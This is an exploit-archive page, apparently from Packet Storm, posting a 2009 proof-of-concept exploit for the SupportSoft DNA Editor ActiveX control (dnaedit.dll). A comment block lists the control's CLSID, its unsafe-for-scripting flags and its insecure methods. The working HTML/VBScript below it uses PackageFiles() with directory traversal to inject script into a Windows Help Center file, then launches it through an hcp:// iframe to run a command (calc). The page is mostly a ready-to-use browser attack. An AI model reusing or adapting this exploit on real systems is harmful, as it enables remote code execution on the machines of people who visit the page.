exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SupportSoft DNA Editor Module Code Execution

SupportSoft DNA Editor Module Code Execution
Posted Mar 5, 2009
Authored by Nine:Situations:Group | Site retrogod.altervista.org

SupportSoft DNA Editor module code execution exploit that leverages dnaedit.dll.

tags | exploit, code execution
SHA-256 | b4f171a5e1092d8dd52b815a5ccb43eebcf3330cbda106d95b211bbf4af57c9b

SupportSoft DNA Editor Module Code Execution

Change Mirror Download
<!-- SupportSoft DNA Editor Module (dnaedit.dll v6.9.2205) remote code execution exploit (IE6/7)
by Nine:Situations:Group::bruiser

vendor url: http://www.supportsoft.com/
our site: http://retrogod.altervista.org/

details:
CLSID: {01110800-3E00-11D2-8470-0060089874ED}
Progid: Tioga.Editor.1
Binary Path: C:\Programmi\File comuni\SupportSoft\bin\dnaedit.dll
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True

vulnerabilities, discovered two months ago:
insecure methods: Packagefiles() - remote file overwrite, directory traversal, *script injection* and ... a crash (investigating on this one)
SaveDna() - remote file creation, directory traversal
AddFile() - remote cpu consumption
SetIdentity() - remote file creation

This dll was present inside the SupportSoft ActiveX Controls Security Update for a previous buffer overflow vulnerability,
see: http://secunia.com/advisories/24246/
My download url was: http://www.supportsoft.com/support/controls_update.asp
actually unreachable
see also: http://www.securityfocus.com/archive/1/archive/1/461147/100/0/threaded
Well, they probably patched my marking them unsafe for initialization (I see that the ScriptRunner module suffers of a
buffer overflow bug in the Evaluate() method...) but they gave you another vulnerable control...
-->
<HTML>
<OBJECT classid='clsid:01110800-3E00-11D2-8470-0060089874ED' width=1 height=1 id='DNAEditorCtl' />
</OBJECT>
<SCRIPT language='VBScript'>
<!--
sh="<HTML><SCRIPT LANGUAGE=VBScript>" + unescape("Execute%28unescape%28%22Set%20s%3DCreateObject%28%22%22WScript.Shell%22%22%29%250D%250As.Run%20%22%22cmd%20%252fc%20start%20calc%22%22%22%29%29") + "<" + Chr(47) + "SCRIPT><" + Chr(47) + "HTML>"
'file path is injected in msinfo.htm, you can see the code by an hex editor, some limit with *number* of chars, some problem with newlines, resolved with vbscript code evaluation by Execute(), a popup says Unable to post... click Ok or close it and you are pwned
DNAEditorCtl.PackageFiles sh + "../../../../../../../../../WINDOWS/PCHEALTH/HELPCTR/System/sysinfo/msinfo.htm"
'launch the script and calc.exe trough the Help and Support Center Service
document.write("<iframe src=""hcp://system/sysinfo/msinfo.htm"">")
-->
</SCRIPT>

Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close